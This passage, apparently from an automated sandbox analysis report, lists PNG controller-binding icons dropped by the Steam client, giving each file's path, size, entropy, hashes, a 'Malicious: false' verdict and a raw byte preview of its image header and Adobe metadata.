SHA1:	0AB3192C64756A861708E1F0E8CA8398B3EC3610
SHA-256:	AD95FBB33B22616596204DDC284598680DD954B5F450367470510E67EF59AF37
SHA-512:	A7EFC59522BAEF23DF080BE0E94AD8571D7863A30DE0366CB17F3B461C94F56FEE735CE78C9D044B1D63117A9D3CF561EE025EDAE3F3382FEDF09EDB91B9B6CC
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:1F02F82D826911E5B037D927158F9A42" xmpMM:InstanceID="xmp.iid:1F02F82C826911E5B037D927158F9A42" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.>.....IDATx...t.U..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_110_social_0130.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10206
Entropy (8bit):	7.91065845466615
Encrypted:	false
SSDEEP:
MD5:	55BD5E7BD608BE657255BC3015A721AF
SHA1:	56E3A9F5D543BEC7990E1942F33A6E7049003EF5
SHA-256:	1317E1340FEF8783262AEB0F0AF1CBA25A5CEA625BC64BAD4DE3A4E9F42A0DE6
SHA-512:	3DC9BD0E12A66D2F7967D1155EF5D7363B50B1BD849A7B8F4FE36174FF7610E7DE2232D8D063A488BA42421EA8F1D4080378C6A74B3D29F06029B485FA0908B8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:1F16599C826911E58491CBFB4181AAAE" xmpMM:InstanceID="xmp.iid:1F16599B826911E58491CBFB4181AAAE" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......#.IDATx....U..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_110_social_0140.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9357
Entropy (8bit):	7.905161684207615
Encrypted:	false
SSDEEP:
MD5:	E8E601CCE4BBD14B871F5B25655909CC
SHA1:	D836CDB55A1311D3AF82DAEBC91A85596A8CF90D
SHA-256:	BCBC3CE72404FFAED5E7E8A9F05C05338FAC6D7F41C48FF6235A2886AD73F651
SHA-512:	B3BFA8F4E0F234A1736178B6BDE81DFD5CA3571DBD95318C14C8E668A5D8666670CDC36EA33A0CF682FEDF6F910F2A70F13F592C73491022A300FAC29D54F7A2
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:1F6F5153826911E5B874FCC20E7D4194" xmpMM:InstanceID="xmp.iid:1F6F5152826911E5B874FCC20E7D4194" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..YO.. .IDATx..i.TU..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_110_social_0150.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5756
Entropy (8bit):	7.720660807452267
Encrypted:	false
SSDEEP:
MD5:	761970077D6DA529619D291738F51D25
SHA1:	52AA9647640296D3FD6DD7CDFA45AAB40C4EE3BA
SHA-256:	056933684DC0473E60AB0B836233DFC2857549842A29854BDCEDB46F74861D5A
SHA-512:	C3777403FE345746F34E582288181BC3C1F49BE0470AB0A7D1E767976B74B7D24EE3727D439FB77D7419855D0E1C282295CACA19F45311D24BE2E5422A8BB2A4
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:1F84607D826911E5B997999B0C7A3417" xmpMM:InstanceID="xmp.iid:1F84607C826911E5B997999B0C7A3417" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>-.j.....IDATx..ylUW~.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_110_social_0160.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	22362
Entropy (8bit):	7.967111328996491
Encrypted:	false
SSDEEP:
MD5:	60BCC13599460D093E7EB0FAE4896BA7
SHA1:	8C9AD65D95E2B22036296DBE051022DA9B68E201
SHA-256:	432B2BCDA778FF4DC4D3F2755A9F7C1C760EA89959938F90FD3CB4805312778D
SHA-512:	372EF87B7B3513D8B082B3FE96458FCFDFC4EF3D4E0DC56BA29EEBD43B29420DED0E928D90D6CCD6503C582549A5540127F0BEEC5D60F0A57590874F1B363601
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:1F9725A8826911E59AC0C1F907E561CF" xmpMM:InstanceID="xmp.iid:1F9725A7826911E59AC0C1F907E561CF" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>g8....SlIDATx..]..TE..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_110_social_0300.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16781
Entropy (8bit):	7.865991012196023
Encrypted:	false
SSDEEP:
MD5:	7BBB1CA9E46B273F478F6E032F4EB6BE
SHA1:	D87ABCE97E3D6D928DB98658263ABF0DF3FA0AA2
SHA-256:	3DB859DD5E2D8C6102FAEF40097484C635033E2DEE8DC4EDEB56066D30745A31
SHA-512:	77998E9E0F39D2EA552EF19F0B3CD65D3B864EF4EEAC40C0E18E20FC5B61365CDEAC1C08A971EC923B8042B36DE84C5C8C043F4D48491DCD39DBA9EC52D7F52A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_110_social_0301.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	20806
Entropy (8bit):	7.905828129130056
Encrypted:	false
SSDEEP:
MD5:	C6C2DB1B45AD56D1C30B4EDA8360F448
SHA1:	B04B2F1AF709EC5FF8604AE776744F7F220F808E
SHA-256:	2BCAA9505FF1A1DAA3E8FE2D06C409E4B12B2355BC9BDE1F4C5A279B7CB1FF4C
SHA-512:	6C52911CFB30E525697E6B3DE261C4D4C5576249DA461BBD1862223F1BDE844353395FFA07676C001A8FF935EF40E1981CD5DA967100EB5CF7D4791CB5ECA971
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_110_social_0302.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15787
Entropy (8bit):	7.868670965093908
Encrypted:	false
SSDEEP:
MD5:	B04566A36FDB3AA1EEAE73210D413CB8
SHA1:	A7F28D455CC38EC78C7B18CF9C6BB454D74B4221
SHA-256:	CA9E494AC41C07444D8724FFD67A86CC38464A732C78A380018027ABBD217629
SHA-512:	3A10A49C45E612BFD598D04C9ED7ACC161A4ADC2D3C70DEEEE3EC112E241384545B16AD38C24BE6A8F805CD7B1487131354CC5C0622B9E77C3C49D86B82B69EF
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_110_social_0303.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16565
Entropy (8bit):	7.857300664113571
Encrypted:	false
SSDEEP:
MD5:	B875CF348B242115785DE813CAA38FB4
SHA1:	8737CE9914E0475F97E37A4E5D40CDE2FDFE8620
SHA-256:	0CC88EECDE756EF07C381C8CE8B74393A8F2D583162214688FC473A99B52A787
SHA-512:	4E90929DA21751A0B2AA88DCBEF0002BC8055D3D568B0E2444AF3BFE4E0F1D1C2DB355F0BF98122D9E05A290AF3FF7A4494E77561FA5F2A03FE8FC9657121BB0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_110_social_0304.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	23617
Entropy (8bit):	7.887510604372076
Encrypted:	false
SSDEEP:
MD5:	5E01E4DE88A30C4355626E7444D143CB
SHA1:	14600A87D2B0689FE3F28D1AE2E77BE79C968228
SHA-256:	3A618505D7C2B871ABD4148FC5C305987165FCEC606CE57CB02D9C7C8915B627
SHA-512:	DCF1A45B576BD9AFE640FD0EB6552CBC72BF59E9C652959F5F349465DE54515BB711046BC46707EB2B2ECE6AA0385B658C0C1CA835A1D0978B5B94DECF1F449B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_110_social_0305.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	20117
Entropy (8bit):	7.9088226737758935
Encrypted:	false
SSDEEP:
MD5:	9408853FDD589E67428D06CA275DB17F
SHA1:	DB44FA1793CC6CB1BF3031DBC75436A1A6F64705
SHA-256:	F6BE894AEDD3432BC11E2B8B243AA4399383C801E85216D95968467D7F421357
SHA-512:	83CA92D5075D94D512195FF7C5B235134DBFE8DC831F2FA2D2E346AE3150F96E2CFDA924DCCA35E2DF706AD9D9BC3F8FDCF21682B670E224EB5BBE8B8EBFA878
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_110_social_0306.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16841
Entropy (8bit):	7.852045182541411
Encrypted:	false
SSDEEP:
MD5:	786BD27CCA198C49C9D5185B3691E780
SHA1:	829456B9A608C5D363E65E63ABB772505BC2775E
SHA-256:	670EA6862F3FA3D0BB1969CDB3E28A695A8EDCB2859A28B89D398C17F321C295
SHA-512:	13002060B0D8237A86D164008F9C31CC7D2F9C480F6C55333370CAA0FBAF6A0C8C6AA972C270A3FF913D4B6B0DA89039B295661E6D684B55203432D4C94D322A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_110_social_0307.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	19268
Entropy (8bit):	7.883623896270552
Encrypted:	false
SSDEEP:
MD5:	6DF198CD52EBC41C23D378AF022EF192
SHA1:	7E7D79BC1EAB145526A6CB3F6FF2BA4E5ABF76DF
SHA-256:	3694BBA51D03A4B0CDBA026A3DE87F8917ADC75CEB3DC0AFDF51E55E8321B124
SHA-512:	DFC95A1397A6A62C86F3FD149FE15D20D3B6352C0545AFF9C24290384BA6AC8FA8639F9F6CB01A4B8FA7C54D06457D431E04EC556DA52EB805EF080EF7EA7B92
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_110_social_0308.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15961
Entropy (8bit):	7.830185063824297
Encrypted:	false
SSDEEP:
MD5:	BA18D8FA5E18A384632F02BD301A6327
SHA1:	7FFDF98B8E52F724DE30C90E79B719ADE17F5423
SHA-256:	DF760DE69D1AF7F2FF30D0D825E3D3627FF303AEA9BB1C96B6C2F80C3E5BB009
SHA-512:	434CA226445568EA5E3AE6C1D74E446670C56A53C7CCC150C6CE2A14B1A2D1883E6616C63119DF497BF4F9DFF05F9AA72D30949E1B56F18F1CD540F70F8FC0AC
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\special_blank.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4533
Entropy (8bit):	6.389745220652911
Encrypted:	false
SSDEEP:
MD5:	4A075DBE77EAE188573677C7643C5C6D
SHA1:	D2B71451912D602DF2103808AF38A864713E2E06
SHA-256:	72F953986710F89229C5E2ECCBA544A3AB5AF380E6D230977A44902A63875348
SHA-512:	B87CE23810EE5CE61B3D25F258D7DF086ABB7DAF803BD168BF26A2EFBC9C1AB885A5F5C49A07BA1FA37A057FCE07B98D3462CBD3DD7687543481192BC6D9A9C8
Malicious:	false
Reputation:	unknown
